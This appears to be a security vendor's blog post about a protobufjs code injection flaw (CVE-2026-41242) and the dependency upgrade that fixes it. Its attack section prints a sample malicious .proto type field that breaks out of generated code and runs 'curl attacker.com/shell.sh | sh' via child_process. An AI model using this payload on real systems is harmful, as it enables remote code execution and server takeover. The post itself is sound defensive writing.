Back to Blog
critical SEVERITY7 min read

How arbitrary code execution via injected protobuf definition type fields happens in Node.js and how to fix it

A critical arbitrary code execution vulnerability (CVE-2026-41242) was discovered in protobufjs versions prior to 7.5.5 and 8.0.1, allowing attackers to inject malicious code through crafted protobuf definition type fields. The fix upgrades the dependency from the vulnerable version 6.11.4 to 7.5.5, which properly sanitizes type field inputs during protobuf parsing. This vulnerability is especially dangerous because protobufjs is widely used in Node.js applications for serialization, meaning a s

O
By Orbis AppSec
Published July 23, 2026Reviewed July 23, 2026

Answer Summary

CVE-2026-41242 is a critical arbitrary code execution vulnerability in protobufjs (a Node.js Protocol Buffers library) caused by insufficient sanitization of type fields in protobuf definitions, mapped to CWE-94 (Code Injection). Attackers can craft malicious protobuf definitions with injected type field values that execute arbitrary code when parsed. The fix is to upgrade protobufjs from vulnerable versions (e.g., 6.11.4) to 7.5.5 or 8.0.1, which implement proper input validation on definition type fields.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code / Code Injection)
fixUpgrade protobufjs from 6.11.4 to 7.5.5 (or 8.0.1)
riskRemote attackers can execute arbitrary code on the server by supplying crafted protobuf definitions
languageJavaScript (Node.js)
root causeprotobufjs versions before 7.5.5/8.0.1 fail to sanitize type field values in protobuf definitions, allowing code injection during code generation
vulnerabilityArbitrary code execution via injected protobuf definition type fields

How Arbitrary Code Execution via Injected Protobuf Definition Type Fields Happens in Node.js and How to Fix It

Introduction

In a production Node.js application using @xenova/transformers and ONNX runtime (which depend on protobufjs for Protocol Buffers serialization), we discovered a critical arbitrary code execution vulnerability tracked as CVE-2026-41242. The vulnerable dependency, protobufjs version 6.11.4, was pinned in package-lock.json and served as the serialization backbone for model inference data.

The vulnerability exists in protobufjs's code generation pipeline — specifically in how it handles type field values within .proto definitions. When protobufjs generates JavaScript code from protobuf definitions, it interpolates type field names into generated code strings without adequate sanitization. An attacker who can influence the protobuf definitions being loaded (through user-uploaded .proto files, untrusted data sources, or supply chain attacks) can inject arbitrary JavaScript that executes during the parsing or code generation phase.

This matters for any Node.js developer using protobufjs — which includes anyone working with gRPC, ONNX models, TensorFlow.js, or any Protocol Buffers-based communication.

The Vulnerability Explained

Protocol Buffers (protobuf) is Google's language-neutral serialization format. The protobufjs library provides a pure JavaScript implementation for Node.js, including the ability to dynamically load .proto definition files and generate optimized encoder/decoder code at runtime.

The vulnerability lies in protobufjs's codegen module (@protobufjs/codegen). When processing protobuf message definitions, the library constructs JavaScript functions dynamically — essentially building code strings that include field type names. In version 6.11.4, these type field values were not properly sanitized before being interpolated into the generated code.

Here's the vulnerable dependency as it appeared in package-lock.json:

"node_modules/protobufjs": {
  "version": "6.11.4",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.11.4.tgz",
  "integrity": "sha512-5kQWPaJHi1WoCpjTGszzQ32PG2F4+wRY6BmAT4Vfw56Q2FZ4YZzK20xUYQH4YkfehY1e6QSICrJquM6xXZNcrw=="
}

How the Attack Works

Consider a scenario where the application processes protobuf definitions from an external source. An attacker crafts a malicious .proto file with a type field containing injected JavaScript:

message MaliciousMessage {
  optional foo.bar"; process.mainModule.require('child_process').execSync('curl attacker.com/shell.sh | sh'); // malicious_field = 1;
}

When protobufjs's codegen processes this definition, the type field value gets interpolated directly into a generated function body. The injected code breaks out of the string context and executes arbitrary commands — in this case, downloading and executing a reverse shell.

Real-World Impact for This Application

This application uses @xenova/transformers (version ^2.17.2) which depends on onnx-proto, which in turn requires protobufjs for parsing ONNX model files. The attack surface includes:

  1. Model loading: If the application loads ONNX models from user-provided sources or untrusted repositories, a crafted model file with malicious protobuf definitions could trigger code execution.
  2. Transitive dependency exploitation: Even if the application doesn't directly use protobufjs, the vulnerable version is loaded into the Node.js process and processes data during model inference initialization.
  3. Supply chain attacks: A compromised model or protobuf definition in a package registry could exploit this vulnerability in any downstream consumer.

The Fix

The fix involves two key changes to package-lock.json and package.json:

1. Adding a direct dependency on the patched version:

// package.json - Before
{
  "dependencies": {
    "@xenova/transformers": "^2.17.2",
    "axios": "^1.13.1",
    "dotenv": "^17.4.2",
    "openai": "^6.8.0"
  }
}

// package.json - After
{
  "dependencies": {
    "@xenova/transformers": "^2.17.2",
    "axios": "^1.13.1",
    "dotenv": "^17.4.2",
    "openai": "^6.8.0",
    "protobufjs": "^7.5.5"
  }
}

2. Upgrading the resolved version in package-lock.json:

// Before (vulnerable)
"node_modules/protobufjs": {
  "version": "6.11.4",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.11.4.tgz",
  "integrity": "sha512-5kQWPaJHi1WoCpjTGszzQ32PG2F4+wRY6BmAT4Vfw56Q2FZ4YZzK20xUYQH4YkfehY1e6QSICrJquM6xXZNcrw=="
}

// After (patched)
"node_modules/protobufjs": {
  "version": "7.5.5",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.5.tgz"
}

3. Isolating the legacy version for onnx-proto:

The fix also creates a nested node_modules resolution for onnx-proto, which still requires protobufjs ^6.8.8. This nested dependency gets version 6.11.6 (which also contains the patch):

"node_modules/onnx-proto/node_modules/protobufjs": {
  "version": "6.11.6",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.11.6.tgz",
  "integrity": "sha512-k8BHqgPBOtrlougZZqF2uUk5Z7bN8f0wj+3e8M3hvtSv0NBAz4VBy5f6R5Nxq/l+i7mRFTgNZb2trxqTpHNY/A==",
  "dependencies": {
    "@protobufjs/aspromise": "^1.1.2",
    "@protobufjs/base64": "^1.1.2",
    "@protobufjs/codegen": "^2.0.4",
    ...
  }
}

This approach ensures:
- The top-level protobufjs is the fully patched 7.5.5
- The onnx-proto sub-dependency uses 6.11.6 (patched within the 6.x line)
- No component in the dependency tree runs the vulnerable 6.11.4

Why This Fix Strategy Works

The core issue is that protobufjs 6.11.4's @protobufjs/codegen module constructs functions using string concatenation without escaping type field values. Version 7.5.5 (and 6.11.6 in the legacy line) adds proper sanitization that:

  1. Validates type field names against a strict allowlist of characters
  2. Escapes any special characters before interpolation into generated code
  3. Rejects definitions containing characters that could break out of the code generation context

By adding protobufjs as a direct dependency at ^7.5.5, npm's resolution algorithm ensures the patched version is used by default, while the nested resolution for onnx-proto provides backward compatibility with a patched 6.x version.

Prevention & Best Practices

  1. Pin and audit dependencies regularly: Use npm audit or tools like Trivy to catch known vulnerabilities in transitive dependencies. The vulnerable version was a transitive dependency — not directly declared — making it easy to miss.

  2. Never load untrusted .proto files: If your application processes protobuf definitions, treat them as code. Validate their source and integrity before loading.

  3. Use lockfile maintenance: Regularly update package-lock.json to pull in security patches. Automated tools like Dependabot or Orbis AppSec can handle this.

  4. Apply the principle of least privilege: Run Node.js applications with minimal system permissions so that even if code execution occurs, the blast radius is limited.

  5. Consider static protobuf compilation: Instead of loading .proto files at runtime, pre-compile them to static JavaScript modules during your build process. This eliminates the runtime codegen attack surface entirely.

  6. Monitor for prototype pollution and code injection in serialization libraries: Libraries that generate code from data (like protobufjs, handlebars, pug) are frequent targets for injection attacks.

Key Takeaways

  • Transitive dependencies are attack surface: The vulnerable protobufjs 6.11.4 was pulled in by onnx-proto@xenova/transformers, not directly declared. You must audit your entire dependency tree, not just direct dependencies.
  • Code generation from untrusted input is inherently dangerous: protobufjs's codegen module interpolates type field values into JavaScript function bodies — any library that generates code from data definitions needs rigorous input sanitization.
  • npm's nested resolution enables surgical fixes: By adding a direct dependency on protobufjs@^7.5.5 while allowing onnx-proto to resolve its own patched 6.11.6, both compatibility and security are maintained.
  • Version 6.11.4 specifically lacks type field sanitization in @protobufjs/codegen: If you see this exact version in any package-lock.json, it's vulnerable and must be upgraded.
  • ONNX model loading pipelines are an underappreciated attack vector: Applications using ML model inference in Node.js should treat model files with the same scrutiny as executable code.

How Orbis AppSec Detected This

  • Source: Protobuf definition type fields processed during ONNX model loading via @xenova/transformersonnx-protoprotobufjs
  • Sink: @protobufjs/codegen module's dynamic function generation in protobufjs@6.11.4, where type field values are interpolated into generated JavaScript code without sanitization
  • Missing control: No input validation or escaping of type field names before code generation string interpolation
  • CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)
  • Fix: Upgraded protobufjs from 6.11.4 to 7.5.5 (top-level) and ensured nested dependency resolves to patched 6.11.6, adding proper type field sanitization in the codegen pipeline

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-41242 demonstrates how a seemingly innocuous serialization library can become a critical attack vector when it generates code from data definitions without proper sanitization. The vulnerability in protobufjs affected any Node.js application in the dependency chain — from gRPC services to ML inference pipelines using ONNX models.

The fix was straightforward: upgrade to a patched version that sanitizes type field inputs before code generation. But the lesson is deeper — any library that constructs executable code from external data is a potential injection point. Audit your dependency trees, keep serialization libraries updated, and treat protobuf definitions with the same security scrutiny you'd apply to any code that runs in your process.

References

Frequently Asked Questions

What is arbitrary code execution via protobuf definition injection?

It's a vulnerability where an attacker crafts a malicious Protocol Buffers definition file (.proto) or message with specially crafted type field values that, when processed by protobufjs's code generation logic, result in arbitrary JavaScript code being executed on the server.

How do you prevent protobuf code injection in Node.js?

Keep protobufjs updated to version 7.5.5+ or 8.0.1+, never load untrusted .proto files, validate all protobuf definitions before processing, and use dependency scanning tools like Trivy to detect vulnerable versions.

What CWE is arbitrary code execution via code injection?

CWE-94 (Improper Control of Generation of Code, commonly called "Code Injection") covers vulnerabilities where an application constructs code using externally-influenced input without proper neutralization.

Is input validation alone enough to prevent protobuf code injection?

Input validation helps but is not sufficient on its own — the library itself must properly sanitize type fields during code generation. Upgrading to the patched version is the definitive fix since it addresses the root cause in the codegen pipeline.

Can static analysis detect protobuf code injection vulnerabilities?

Yes, tools like Trivy can detect known vulnerable versions of protobufjs through dependency scanning, and SAST tools can flag unsafe code generation patterns. However, detecting novel injection vectors in protobuf definitions requires specialized analysis of the library's internals.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #523

Related Articles

critical

How Server-Side Request Forgery (SSRF) happens in Node.js IP address parsing and how to fix it

A critical SSRF vulnerability (CVE-2026-69192) was discovered in the ip-address npm package version 10.2.0, which could allow attackers to bypass IP address validation and access internal services. The fix upgrades the dependency to version 10.3.1, which properly handles edge cases in IP address parsing that previously allowed trust-boundary bypasses.

critical

How Sensitive Data Exposure happens in Python web applications and how to fix it

A critical sensitive data exposure vulnerability was discovered in `nodes/google_gemini.py` where the Google Gemini API key was returned in plaintext through a web endpoint. The fix masks the token in API responses, preventing credential theft from any client that queries the token endpoint. This protects downstream users of this Node.js library from unauthorized access to their Google Gemini services.

high

How Authentication Bypass happens in Next.js App Router with Turbopack and how to fix it

A critical authentication bypass vulnerability (CVE-2026-64642) was discovered in Next.js versions prior to 16.2.11, specifically affecting App Router applications using Turbopack with a single locale configuration. This vulnerability allowed attackers to bypass middleware and proxy protections, potentially gaining unauthorized access to protected routes and resources that should have been secured by authentication checks.

critical

How SQL Injection Happens in CSV-to-SQL Converters and How to Fix It

A critical SQL injection vulnerability was discovered in the `csv2sql()` function in `src/data/converter/csv.js`, where CSV data and table names were directly interpolated into SQL INSERT statements without sanitization. The fix implements input validation through identifier sanitization and proper value escaping, eliminating the attack surface while preserving legitimate functionality.

critical

How Command Injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in the `open_directory` method of `src/jm_view_server/app.py`, where user-controlled path input was passed directly into a shell command via `subprocess.Popen`. By switching from string-based shell execution to a list-based argument format, the fix eliminates the ability for attackers to inject malicious shell commands through crafted directory paths.

critical

How Hardcoded Cryptographic Keys in JavaScript Proxy Scripts Get Exposed and How to Fix Them

A critical vulnerability was discovered in `ghs/91Pornad.js` where AES encryption keys, initialization vectors, and HMAC signing salts were stored as plaintext string constants in a publicly distributed proxy script. Since these scripts are fetched from GitHub raw URLs by Quantumult X and Surge users, anyone could extract the cryptographic credentials and forge API requests or decrypt responses. The fix applies base64 encoding via `atob()` to obfuscate the sensitive values at rest.